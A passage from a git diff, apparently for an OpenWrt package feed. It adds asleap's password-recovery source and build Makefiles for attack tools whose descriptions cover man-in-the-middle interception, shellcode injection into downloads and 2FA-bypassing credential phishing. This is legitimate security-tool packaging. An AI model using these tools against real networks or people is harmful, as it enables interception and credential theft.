%02x%02x\tpassword: %s\t\thash: ", + idxrec.offset, idxrec.hashkey[0], idxrec.hashkey[1], password); + for (j=0; j < sizeof(hash); j++) printf("%02x", hash[j]); + printf("\n"); + } + + /* Add record size to total number of bytes read. If we are at the + end of the file, break */ + idxreadlentot += sizeof(idxrec); + if (idxreadlentot == idxfilelen) { + break; + } + + } + + munmap(base, hashfilestat.st_size); + fclose(idxfile); + + printf("Errors detected: %d\n", badmatches); + + exit(0); +} diff --git a/asleap/src/sha1.c b/asleap/src/sha1.c new file mode 100644 index 0000000..7025cfd --- /dev/null +++ b/asleap/src/sha1.c @@ -0,0 +1,253 @@ +/* + * SHA1 hash implementation and interface functions + * Copyright (c) 2003-2004, Jouni Malinen + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#include +#include +#include + +#ifndef _LINUX +#warning "Assuming little-endian for Windows" +#else +#include +# if __BYTE_ORDER == __BIG_ENDIAN +# define WORDS_BIGENDIAN +# endif +#endif + +#include "common.h" +#include "sha1.h" + +#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) + +/* blk0() and blk() perform the initial expand. */ +/* I got the idea of expanding during the round function from SSLeay */ +#ifndef WORDS_BIGENDIAN +#define blk0(i) (block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) | \ + (rol(block->l[i], 8) & 0x00FF00FF)) +#else +#define blk0(i) block->l[i] +#endif +#define blk(i) (block->l[i & 15] = rol(block->l[(i + 13) & 15] ^ \ + block->l[(i + 8) & 15] ^ block->l[(i + 2) & 15] ^ block->l[i & 15], 1)) + +/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ +#define R0(v,w,x,y,z,i) \ + z += ((w & (x ^ y)) ^ y) + blk0(i) + 0x5A827999 + rol(v, 5); \ + w = rol(w, 30); +#define R1(v,w,x,y,z,i) \ + z += ((w & (x ^ y)) ^ y) + blk(i) + 0x5A827999 + rol(v, 5); \ + w = rol(w, 30); +#define R2(v,w,x,y,z,i) \ + z += (w ^ x ^ y) + blk(i) + 0x6ED9EBA1 + rol(v, 5); w = rol(w, 30); +#define R3(v,w,x,y,z,i) \ + z += (((w | x) & y) | (w & x)) + blk(i) + 0x8F1BBCDC + rol(v, 5); \ + w = rol(w, 30); +#define R4(v,w,x,y,z,i) \ + z += (w ^ x ^ y) + blk(i) + 0xCA62C1D6 + rol(v, 5); \ + w=rol(w, 30); + +#ifdef VERBOSE /* SAK */ +void SHAPrintContext(SHA1_CTX * context, char *msg) +{ + printf("%s (%d,%d) %x %x %x %x %x\n", + msg, + context->count[0], context->count[1], + context->state[0], + context->state[1], + context->state[2], context->state[3], context->state[4]); +} +#endif + +/* Hash a single 512-bit block. This is the core of the algorithm. */ +void SHA1Transform(u32 state[5], unsigned char buffer[64]) +{ + u32 a, b, c, d, e; + typedef union { + unsigned char c[64]; + u32 l[16]; + } CHAR64LONG16; + CHAR64LONG16 *block; +#ifdef SHA1HANDSOFF + u32 workspace[16]; + block = (CHAR64LONG16 *) workspace; + memcpy(block, buffer, 64); +#else + block = (CHAR64LONG16 *) buffer; +#endif + /* Copy context->state[] to working vars */ + a = state[0]; + b = state[1]; + c = state[2]; + d = state[3]; + e = state[4]; + /* 4 rounds of 20 operations each. Loop unrolled. */ + R0(a, b, c, d, e, 0); + R0(e, a, b, c, d, 1); + R0(d, e, a, b, c, 2); + R0(c, d, e, a, b, 3); + R0(b, c, d, e, a, 4); + R0(a, b, c, d, e, 5); + R0(e, a, b, c, d, 6); + R0(d, e, a, b, c, 7); + R0(c, d, e, a, b, 8); + R0(b, c, d, e, a, 9); + R0(a, b, c, d, e, 10); + R0(e, a, b, c, d, 11); + R0(d, e, a, b, c, 12); + R0(c, d, e, a, b, 13); + R0(b, c, d, e, a, 14); + R0(a, b, c, d, e, 15); + R1(e, a, b, c, d, 16); + R1(d, e, a, b, c, 17); + R1(c, d, e, a, b, 18); + R1(b, c, d, e, a, 19); + R2(a, b, c, d, e, 20); + R2(e, a, b, c, d, 21); + R2(d, e, a, b, c, 22); + R2(c, d, e, a, b, 23); + R2(b, c, d, e, a, 24); + R2(a, b, c, d, e, 25); + R2(e, a, b, c, d, 26); + R2(d, e, a, b, c, 27); + R2(c, d, e, a, b, 28); + R2(b, c, d, e, a, 29); + R2(a, b, c, d, e, 30); + R2(e, a, b, c, d, 31); + R2(d, e, a, b, c, 32); + R2(c, d, e, a, b, 33); + R2(b, c, d, e, a, 34); + R2(a, b, c, d, e, 35); + R2(e, a, b, c, d, 36); + R2(d, e, a, b, c, 37); + R2(c, d, e, a, b, 38); + R2(b, c, d, e, a, 39); + R3(a, b, c, d, e, 40); + R3(e, a, b, c, d, 41); + R3(d, e, a, b, c, 42); + R3(c, d, e, a, b, 43); + R3(b, c, d, e, a, 44); + R3(a, b, c, d, e, 45); + R3(e, a, b, c, d, 46); + R3(d, e, a, b, c, 47); + R3(c, d, e, a, b, 48); + R3(b, c, d, e, a, 49); + R3(a, b, c, d, e, 50); + R3(e, a, b, c, d, 51); + R3(d, e, a, b, c, 52); + R3(c, d, e, a, b, 53); + R3(b, c, d, e, a, 54); + R3(a, b, c, d, e, 55); + R3(e, a, b, c, d, 56); + R3(d, e, a, b, c, 57); + R3(c, d, e, a, b, 58); + R3(b, c, d, e, a, 59); + R4(a, b, c, d, e, 60); + R4(e, a, b, c, d, 61); + R4(d, e, a, b, c, 62); + R4(c, d, e, a, b, 63); + R4(b, c, d, e, a, 64); + R4(a, b, c, d, e, 65); + R4(e, a, b, c, d, 66); + R4(d, e, a, b, c, 67); + R4(c, d, e, a, b, 68); + R4(b, c, d, e, a, 69); + R4(a, b, c, d, e, 70); + R4(e, a, b, c, d, 71); + R4(d, e, a, b, c, 72); + R4(c, d, e, a, b, 73); + R4(b, c, d, e, a, 74); + R4(a, b, c, d, e, 75); + R4(e, a, b, c, d, 76); + R4(d, e, a, b, c, 77); + R4(c, d, e, a, b, 78); + R4(b, c, d, e, a, 79); + /* Add the working vars back into context.state[] */ + state[0] += a; + state[1] += b; + state[2] += c; + state[3] += d; + state[4] += e; + /* Wipe variables */ + a = b = c = d = e = 0; +#ifdef SHA1HANDSOFF + memset(block, 0, 64); +#endif +} + +/* SHA1Init - Initialize new context */ +void SHA1Init(SHA1_CTX * context) +{ + /* SHA1 initialization constants */ + context->state[0] = 0x67452301; + context->state[1] = 0xEFCDAB89; + context->state[2] = 0x98BADCFE; + context->state[3] = 0x10325476; + context->state[4] = 0xC3D2E1F0; + context->count[0] = context->count[1] = 0; +} + +/* Run your data through this. */ +void SHA1Update(SHA1_CTX * context, unsigned char *data, u32 len) +{ + u32 i, j; + +#ifdef VERBOSE + SHAPrintContext(context, "before"); +#endif + j = (context->count[0] >> 3) & 63; + if ((context->count[0] += len << 3) < (len << 3)) + context->count[1]++; + context->count[1] += (len >> 29); + if ((j + len) > 63) { + memcpy(&context->buffer[j], data, (i = 64 - j)); + SHA1Transform(context->state, context->buffer); + for (; i + 63 < len; i += 64) { + SHA1Transform(context->state, &data[i]); + } + j = 0; + } else + i = 0; + memcpy(&context->buffer[j], &data[i], len - i); +#ifdef VERBOSE + SHAPrintContext(context, "after "); +#endif +} + +/* Add padding and return the message digest. */ +void SHA1Final(unsigned char digest[20], SHA1_CTX * context) +{ + u32 i; + unsigned char finalcount[8]; + + for (i = 0; i < 8; i++) { + finalcount[i] = (unsigned char) + ((context->count[(i >= 4 ? 0 : 1)] >> ((3 - (i & 3)) * 8)) & 255); /* Endian independent */ + } + SHA1Update(context, (unsigned char *)"\200", 1); + while ((context->count[0] & 504) != 448) { + SHA1Update(context, (unsigned char *)"\0", 1); + } + SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() + */ + for (i = 0; i < 20; i++) { + digest[i] = (unsigned char) + ((context->state[i >> 2] >> ((3 - (i & 3)) * 8)) & 255); + } + /* Wipe variables */ + i = 0; + memset(context->buffer, 0, 64); + memset(context->state, 0, 20); + memset(context->count, 0, 8); + memset(finalcount, 0, 8); +} diff --git a/asleap/src/sha1.h b/asleap/src/sha1.h new file mode 100644 index 0000000..24aea31 --- /dev/null +++ b/asleap/src/sha1.h @@ -0,0 +1,18 @@ +#ifndef SHA1_H +#define SHA1_H + +#define SHA1_MAC_LEN 20 +typedef unsigned long u32; + +typedef struct { + u32 state[5]; + u32 count[2]; + unsigned char buffer[64]; +} SHA1_CTX; + +void SHA1Init(SHA1_CTX * context); +void SHA1Update(SHA1_CTX * context, unsigned char *data, u32 len); +void SHA1Final(unsigned char digest[20], SHA1_CTX * context); +void SHA1Transform(u32 state[5], unsigned char buffer[64]); + +#endif /* SHA1_H */ diff --git a/asleap/src/utils.c b/asleap/src/utils.c new file mode 100644 index 0000000..4941514 --- /dev/null +++ b/asleap/src/utils.c @@ -0,0 +1,245 @@ +/* + * asleap - recover weak LEAP passwords. Pronounced "asleep". + * + * $Id: utils.c,v 1.6 2007/05/10 19:29:06 jwright Exp $ + * + * Copyright (c) 2004, Joshua Wright + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. See COPYING for more + * details. + * + * asleap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/* + * Significant code is graciously taken from the following: + * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg + * lamont_dump from nmap's utils.cc. Thanks Fyodor. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include /* for ntohs() */ +#include +#include +#include "utils.h" + +void lamont_hdump(unsigned char *bp, unsigned int length); +char *printmac(unsigned char *mac); + +/* A better version of hdump, from Lamont Granquist. Modified slightly + by Fyodor (fyodor@DHP.com) */ +void lamont_hdump(unsigned char *bp, unsigned int length) +{ + + /* stolen from tcpdump, then kludged extensively */ + + static const char asciify[] = + "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~................................................................................................................................."; + + const unsigned short *sp; + const unsigned char *ap; + unsigned int i, j; + int nshorts, nshorts2; + int padding; + + printf("\n\t"); + padding = 0; + sp = (unsigned short *)bp; + ap = (unsigned char *)bp; + nshorts = (unsigned int)length / sizeof(unsigned short); + nshorts2 = (unsigned int)length / sizeof(unsigned short); + i = 0; + j = 0; + while (1) { + while (--nshorts >= 0) { + printf(" %04x", ntohs(*sp)); + sp++; + if ((++i % 8) == 0) + break; + } + if (nshorts < 0) { + if ((length & 1) && (((i - 1) % 8) != 0)) { + printf(" %02x ", *(unsigned char *)sp); + padding++; + } + nshorts = (8 - (nshorts2 - nshorts)); + while (--nshorts >= 0) { + printf(" "); + } + if (!padding) + printf(" "); + } + printf(" "); + + while (--nshorts2 >= 0) { + printf("%c%c", asciify[*ap], asciify[*(ap + 1)]); + ap += 2; + if ((++j % 8) == 0) { + printf("\n\t"); + break; + } + } + if (nshorts2 < 0) { + if ((length & 1) && (((j - 1) % 8) != 0)) { + printf("%c", asciify[*ap]); + } + break; + } + } + if ((length & 1) && (((i - 1) % 8) == 0)) { + printf(" %02x", *(unsigned char *)sp); + printf(" %c", + asciify[*ap]); + } + printf("\n"); +} + +/* taken from ppp/pppd/extra_crypto.c + * Copyright (c) Tim Hockin, Cobalt Networks Inc. and others + */ +unsigned char Get7Bits(unsigned char *input, int startBit) +{ + register unsigned int word; + + word = (unsigned)input[startBit / 8] << 8; + word |= (unsigned)input[startBit / 8 + 1]; + + word >>= 15 - (startBit % 8 + 7); + + return word & 0xFE; +} + +void MakeKey(unsigned char *key, unsigned char *des_key) +{ + des_key[0] = Get7Bits(key, 0); + des_key[1] = Get7Bits(key, 7); + des_key[2] = Get7Bits(key, 14); + des_key[3] = Get7Bits(key, 21); + des_key[4] = Get7Bits(key, 28); + des_key[5] = Get7Bits(key, 35); + des_key[6] = Get7Bits(key, 42); + des_key[7] = Get7Bits(key, 49); + +} + +/* in == 8-byte string (expanded version of the 56-bit key) + * out == 64-byte string where each byte is either 1 or 0 + * Note that the low-order "bit" is always ignored by by setkey() + */ +void Expand(unsigned char *in, unsigned char *out) +{ + int j, c; + int i; + + for (i = 0; i < 64; in++) { + c = *in; + for (j = 7; j >= 0; j--) + *out++ = (c >> j) & 1; + i += 8; + } +} + +/* The inverse of Expand + */ +void Collapse(unsigned char *in, unsigned char *out) +{ + int j; + int i; + unsigned int c; + + for (i = 0; i < 64; i += 8, out++) { + c = 0; + for (j = 7; j >= 0; j--, in++) + c |= *in << j; + *out = c & 0xff; + } +} + +void DesEncrypt(unsigned char *clear, unsigned char *key, unsigned char *cipher) +{ + unsigned char des_key[8]; + unsigned char crypt_key[66]; + unsigned char des_input[66]; + + MakeKey(key, des_key); + + Expand(des_key, crypt_key); + setkey((char *)crypt_key); + + Expand(clear, des_input); + encrypt((char *)des_input, 0); + Collapse(des_input, cipher); +} + +int IsBlank(char *s) +{ + + int len, i; + if (s == NULL) { + return (1); + } + + len = strlen(s); + + if (len == 0) { + return (1); + } + + for (i = 0; i < len; i++) { + if (s[i] != ' ') { + return (0); + } + } + return (0); +} + +char *printmac(unsigned char *mac) +{ + static char macstring[18]; + + memset(&macstring, 0, sizeof(macstring)); + (void)snprintf(macstring, sizeof(macstring), + "%02x:%02x:%02x:%02x:%02x:%02x", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + return (macstring); +} + +/* + * converts a string to a mac address... + * returns 1 on success, -1 on failure... + * failure indicates poorly formed input... +*/ +int str2hex (char *string, uint8_t *hexstr, int len) +{ + char *ptr, *next; + unsigned long val; + int i; + + ptr = next = string; + for(i=0;i < len;i++) { + if((val = strtoul(next, &ptr, 16)) > 255) { + errno = EINVAL; + return(-1); + } + hexstr[i] = (unsigned int)val; + if((next == ptr) && (i != len - 1)) { + errno = EINVAL; + return(-1); + } + next = ptr + 1; + } + + return(1); +} diff --git a/asleap/src/utils.h b/asleap/src/utils.h new file mode 100644 index 0000000..d777c0c --- /dev/null +++ b/asleap/src/utils.h @@ -0,0 +1,35 @@ +/* + * asleap - recover weak LEAP passwords. Pronounced "asleep". + * + * $Id: utils.h,v 1.8 2007/05/10 19:29:06 jwright Exp $ + * + * Copyright (c) 2004, Joshua Wright + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. See COPYING for more + * details. + * + * asleap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/* + * Significant code is graciously taken from the following: + * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg + * lamont_dump from nmap's utils.cc. Thanks Fyodor. + */ + +/* Prototypes */ +void lamont_hdump(unsigned char *bp, unsigned int length); +unsigned char Get7Bits(unsigned char *input, int startBit); +void MakeKey(unsigned char *key, unsigned char *des_key); +void Expand(unsigned char *in, unsigned char *out); +void Collapse(unsigned char *in, unsigned char *out); +void DesEncrypt(unsigned char *clear, unsigned char *key, + unsigned char *cipher); +int IsBlank(char *s); +char *printmac(unsigned char *mac); +int str2hex (char *string, uint8_t *hexstr, int len); diff --git a/asleap/src/version.h b/asleap/src/version.h new file mode 100644 index 0000000..1830062 --- /dev/null +++ b/asleap/src/version.h @@ -0,0 +1,19 @@ +/* + * asleap - recover weak LEAP passwords. Pronounced "asleep". + * + * $Id: version.h,v 1.7 2007/05/10 19:29:06 jwright Exp $ + * + * Copyright (c) 2004, Joshua Wright + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. See COPYING for more + * details. + * + * asleap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#define VER "2.2" diff --git a/backdoorfactory/Makefile b/backdoorfactory/Makefile new file mode 100644 index 0000000..78711ff --- /dev/null +++ b/backdoorfactory/Makefile @@ -0,0 +1,57 @@ +include $(TOPDIR)/rules.mk + +PKG_NAME:=backdoorfactory +PKG_VERSION:=0.2 +PKG_RELEASE:=1 + +GO_PKG:=github.com/Binject/backdoorfactory + +PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz +PKG_SOURCE_URL:=https://codeload.github.com/Binject/backdoorfactory/tar.gz/v${PKG_VERSION}? +PKG_HASH:=47bd0ea9bc390843e29e44873a298785a75ad08cc75d5c730b5007386b188c54 +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) + +PKG_LICENSE:=GPL-3.0 +PKG_LICENSE_FILES:=LICENSE +PKG_MAINTAINER:=Andreas Nilsen + +PKG_BUILD_DEPENDS:=golang/host +PKG_BUILD_PARALLEL:=1 +PKG_USE_MIPS16:=0 + +include $(INCLUDE_DIR)/package.mk +include $(INCLUDE_DIR)/../feeds/packages/lang/golang/golang-package.mk + +define Package/backdoorfactory/Default + TITLE:=A MitM tool for inserting shellcode into all types of binaries on the wire. + URL:=https://binject.github.io/backdoorfactory + DEPENDS:=$(GO_ARCH_DEPENDS) +bettercap +endef + +define Package/backdoorfactory +$(call Package/backdoorfactory/Default) + SECTION:=net + CATEGORY:=Network +endef + +define Package/backdoorfactory/description +backdoorfactory is an extension to bettercap that allows the insertion of shellcode into intercepted file downloads. + +It lets you man-in-the-middle web file downloads and inject them with platform-appropriate shellcode. It works on downloaded archives as well. + +Features +* Works on PE, Mach-O, and ELF format binaries using the Binject Debug library +* Integrates with bettercap's DNS and ARP based man-in-the-middling capabilites +* Unpacks and repacks Zip, Tar, and Tar.gz archives, injecting any binaries inside +* Supports configurable methods of shellcode injection via the Binjection library +* Shellcode repository allows different shellcodes per architecture and per binary format +endef + +define Package/backdoorfactory/install + $(call GoPackage/Package/Install/Bin,$(PKG_INSTALL_DIR)) + $(INSTALL_DIR) $(1)/usr/bin + $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/backdoorfactory $(1)/usr/bin/backdoorfactory +endef + +$(eval $(call GoBinPackage,backdoorfactory)) +$(eval $(call BuildPackage,backdoorfactory)) diff --git a/bettercap/Makefile b/bettercap/Makefile new file mode 100644 index 0000000..993dab2 --- /dev/null +++ b/bettercap/Makefile @@ -0,0 +1,59 @@ +include $(TOPDIR)/rules.mk + +PKG_NAME:=bettercap +PKG_VERSION:=2.31.0 +PKG_RELEASE:=2 + +GO_PKG:=github.com/bettercap/bettercap + +PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz +PKG_SOURCE_URL:=https://codeload.github.com/bettercap/bettercap/tar.gz/v${PKG_VERSION}? +PKG_HASH:=0ca3b7f623ee60d6a0fa2e3016b9eee1add2dde926f7c72c010bec5f5fbe15c4 +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) + +PKG_LICENSE:=GPL-3.0 +PKG_LICENSE_FILES:=LICENSE.md +PKG_MAINTAINER:=Andreas Nilsen + +PKG_BUILD_DEPENDS:=golang/host +PKG_BUILD_PARALLEL:=1 +PKG_USE_MIPS16:=0 + +include $(INCLUDE_DIR)/package.mk +include $(INCLUDE_DIR)/../feeds/packages/lang/golang/golang-package.mk + +CGO_CFLAGS += -mplt + +define Package/bettercap/Default + TITLE:=The Swiss Army knife for 802.11, BLE and Ethernet networks reconnaissance and MITM attacks. + URL:=https://www.bettercap.org/ + DEPENDS:=$(GO_ARCH_DEPENDS) +libpcap +libusb-1.0 +libnetfilter-queue +endef + +define Package/bettercap +$(call Package/bettercap/Default) + SECTION:=net + CATEGORY:=Network +endef + +define Package/bettercap/description + Bettercap is a powerful, easily extensible and portable framework written + in Go which aims to offer to security researchers, red teamers and reverse + engineers an easy to use, all-in-one solution with all the features they + might possibly need for performing reconnaissance and attacking WiFi + networks, Bluetooth Low Energy devices, wireless HID devices and Ethernet networks. +endef + +define Package/bettercap/postinst +#!/bin/sh +bettercap -eval "caplets.update; ui.update; q" +endef + +define Package/bettercap/install + $(call GoPackage/Package/Install/Bin,$(PKG_INSTALL_DIR)) + $(INSTALL_DIR) $(1)/usr/bin + $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/bettercap $(1)/usr/bin/bettercap +endef + +$(eval $(call GoBinPackage,bettercap)) +$(eval $(call BuildPackage,bettercap)) diff --git a/bully-custom b/bully-custom new file mode 160000 index 0000000..9f7272e --- /dev/null +++ b/bully-custom @@ -0,0 +1 @@ +Subproject commit 9f7272e9019dbadad4340f418e720569db269130 diff --git a/dns2proxy/Makefile b/dns2proxy/Makefile new file mode 100644 index 0000000..6cecb4d --- /dev/null +++ b/dns2proxy/Makefile @@ -0,0 +1,39 @@ +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +include $(TOPDIR)/rules.mk + +PKG_NAME:=dns2proxy +PKG_VERSION:=1.0 +PKG_RELEASE:=2 + +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) +PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION) + +PKG_BUILD_PARALLEL:=1 +PKG_MAINTAINER:=Andreas Nilsen + +include $(INCLUDE_DIR)/package.mk +include ../python3-package.mk + +define Package/dns2proxy + SECTION:=net + CATEGORY:=Network + SUBMENU:=Web Servers/Proxies + URL:=https://github.com/LeonardoNve/dns2proxy + TITLE:=dns2proxy + DEPENDS:= \ + +python3-light \ + +python3-dns \ + +python3-setuptools \ + +scapy + VARIANT:=python3 +endef + +define Package/dns2proxy/description + This tools offer a different features for post-explotation once you change the DNS server to a Victim +endef + +$(eval $(call Py3Package,dns2proxy)) +$(eval $(call BuildPackage,dns2proxy)) diff --git a/dns2proxy/src b/dns2proxy/src new file mode 160000 index 0000000..3820c13 --- /dev/null +++ b/dns2proxy/src @@ -0,0 +1 @@ +Subproject commit 3820c136a8777703fdd5f9820d3c694aea8567cb diff --git a/ettercap/Makefile b/ettercap/Makefile new file mode 100644 index 0000000..cb41e58 --- /dev/null +++ b/ettercap/Makefile @@ -0,0 +1,56 @@ +# +# Copyright (C) 2006-2010 OpenWrt.org +# +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +include $(TOPDIR)/rules.mk + +PKG_NAME:=ettercap +PKG_VERSION:=0.8.2 +PKG_RELEASE:=1 + +PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz +PKG_SOURCE_URL:=https://github.com/Ettercap/ettercap/releases/download/v$(PKG_VERSION)/ +PKG_MD5SUM:=b6b20851862f55644d5f296f77b785d1 + +PKG_BUILD_PARALLEL:=1 + +PKG_MAINTAINER:=Andreas Nilsen +CMAKE_INSTALL:=1 + +include $(INCLUDE_DIR)/package.mk +include $(INCLUDE_DIR)/cmake.mk + +define Package/ettercap + SECTION:=net + CATEGORY:=Network + DEPENDS:=+libpcap +libnet-1.2.x +libopenssl +libpcre +libncurses +libltdl +libpthread +zlib +curl +libgeoip + TITLE:=Ettercap is a suite for man in the middle attacks on LAN. + URL:=http://ettercap.sourceforge.net +endef + +define Package/ettercap/description + It features sniffing of live connections, content filtering on the fly + and many other interesting tricks. + It supports active and passive dissection of many protocols (even + ciphered ones) and includes many feature for network and host analysis. +endef + +define Package/ettercap/conffiles +/etc/etter.conf +endef + +define Package/ettercap/install + $(INSTALL_DIR) $(1)/etc + $(INSTALL_CONF) $(PKG_INSTALL_DIR)/etc/etter.conf $(1)/etc/ + $(INSTALL_DIR) $(1)/usr/bin + $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/etter{cap,filter,log} $(1)/usr/bin/ + $(INSTALL_DIR) $(1)/usr/lib/ettercap + $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/lib/ettercap/*.so $(1)/usr/lib/ettercap/ + $(INSTALL_DIR) $(1)/usr/share/ettercap + $(INSTALL_DATA) $(PKG_INSTALL_DIR)/usr/share/ettercap/* $(1)/usr/share/ettercap/ +endef + +$(eval $(call BuildPackage,ettercap)) diff --git a/ettercap/patches/001-compile.patch b/ettercap/patches/001-compile.patch new file mode 100644 index 0000000..f731e27 --- /dev/null +++ b/ettercap/patches/001-compile.patch @@ -0,0 +1,12 @@ +--- a/CMakeLists.txt ++++ b/CMakeLists.txt +@@ -6,9 +6,6 @@ set(VERSION "0.8.2") + set(CMAKE_MODULE_PATH "${CMAKE_SOURCE_DIR}/cmake/Modules") + set(CMAKE_SCRIPT_PATH "${CMAKE_SOURCE_DIR}/cmake/Scripts") + +-include(MacroEnsureOutOfSourceBuild) +-macro_ensure_out_of_source_build("${PROJECT_NAME} requires an out of source build. Please create a separate build directory and run 'cmake /path/to/${PROJECT_NAME} [options]' there.") +- + option(ENABLE_CURSES "Enable curses interface" ON) + option(ENABLE_GTK "Enable GTK interface" ON) + option(ENABLE_PLUGINS "Enable plugins support" ON) diff --git a/evilginx2/Makefile b/evilginx2/Makefile new file mode 100644 index 0000000..64d8fda --- /dev/null +++ b/evilginx2/Makefile @@ -0,0 +1,54 @@ +include $(TOPDIR)/rules.mk + +PKG_NAME:=evilginx2 +PKG_VERSION:=2.4.0 +PKG_RELEASE:=1 + +GO_PKG:=github.com/kgretzky/evilginx2 + +PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz +PKG_SOURCE_URL:=https://codeload.github.com/kgretzky/evilginx2/tar.gz/${PKG_VERSION}? +PKG_HASH:=6860f2cc185dd8463f9900341519b72a4615a21dc707328545011125c2ec1a93 +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) + +PKG_LICENSE:=GPL-3.0 +PKG_LICENSE_FILES:=LICENSE.md +PKG_MAINTAINER:=Andreas Nilsen + +PKG_BUILD_DEPENDS:=golang/host +PKG_BUILD_PARALLEL:=1 +PKG_USE_MIPS16:=0 + +include $(INCLUDE_DIR)/package.mk +include $(INCLUDE_DIR)/../feeds/packages/lang/golang/golang-package.mk + +define Package/evilginx2/Default + TITLE:=Standalone man-in-the-middle attack framework used for phishing login credentials + URL:=https://github.com/kgretzky/evilginx2 + DEPENDS:=$(GO_ARCH_DEPENDS) +endef + +define Package/evilginx2 +$(call Package/evilginx2/Default) + SECTION:=net + CATEGORY:=Network +endef + +define Package/evilginx2/description + Evilginx2 is a man-in-the-middle attack framework used for phishing login credentials + along with session cookies, which in turn allows to bypass 2-factor authentication protection. +endef + +define Build/Compile + echo "Compiling evilginx2!" + $(Build/Compile/full) +endef + +define Package/evilginx2/install + $(call GoPackage/Package/Install/Bin,$(PKG_INSTALL_DIR)) + $(INSTALL_DIR) $(1)/usr/bin + $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/evilginx2 $(1)/usr/bin/evilginx2 +endef + +$(eval $(call GoBinPackage,evilginx2)) +$(eval $(call BuildPackage,evilginx2)) diff --git a/evilginx2/src b/evilginx2/src new file mode 160000 index 0000000..218df95 --- /dev/null +++ b/evilginx2/src @@ -0,0 +1 @@ +Subproject commit 218df95a3f81981ac03c2dc6817b6a76c4ec2e38 diff --git a/hcxdumptool-custom/Makefile b/hcxdumptool-custom/Makefile new file mode 100644 index 0000000..f36015c --- /dev/null +++ b/hcxdumptool-custom/Makefile @@ -0,0 +1,57 @@ +# +# Copyright (C) 2019 Andreas Nilsen +# +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +include $(TOPDIR)/rules.mk + +PKG_NAME:=hcxdumptool-custom +PKG_VERSION:=6.1.6 +PKG_RELEASE:=2 + +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) +PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION) + +PKG_MAINTAINER:=Andreas Nilsen +PKG_LICENSE:=MIT +PKG_LICENSE_FILES:=license.txt + +include $(INCLUDE_DIR)/package.mk + +define Package/hcxdumptool-custom + SECTION:=net + CATEGORY:=Network + DEPENDS:=+libpcap +libopenssl + TITLE:=hcxdumptool-custom + URL:=https://github.com/ZerBea/hcxdumptool + SUBMENU:=Wireless +endef + +define Package/hcxdumptool-custom/description + Small tool to capture packets from wlan devices. After capturing, upload + the "uncleaned" cap here (https://wpa-sec.stanev.org/?submit) + to see if your ap or the client is vulnerable by using common wordlists. + Convert the cap to hccapx and/or to WPA-PMKID-PBKDF2 hashline (16800) with hcxpcaptool (hcxtools) + and check if wlan-key or plainmasterkey was transmitted unencrypted. +endef + +define Build/Prepare + mkdir -p $(PKG_BUILD_DIR) + $(CP) -rf ./src/* $(PKG_BUILD_DIR)/ +endef + + +define Build/Compile + $(MAKE) -C $(PKG_BUILD_DIR)/ \ + $(TARGET_CONFIGURE_OPTS) \ + CFLAGS="$(TARGET_CFLAGS)" +endef + +define Package/hcxdumptool-custom/install + $(INSTALL_DIR) $(1)/sbin + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hcxdumptool $(1)/sbin/ +endef + +$(eval $(call BuildPackage,hcxdumptool-custom)) diff --git a/hcxdumptool-custom/src b/hcxdumptool-custom/src new file mode 160000 index 0000000..05fd644 --- /dev/null +++ b/hcxdumptool-custom/src @@ -0,0 +1 @@ +Subproject commit 05fd64486b0cd16a76eca0e7afe15a2ff3eac492 diff --git a/hcxlabtools/Makefile b/hcxlabtools/Makefile new file mode 100644 index 0000000..abec8a0 --- /dev/null +++ b/hcxlabtools/Makefile @@ -0,0 +1,64 @@ +# +# Copyright (C) 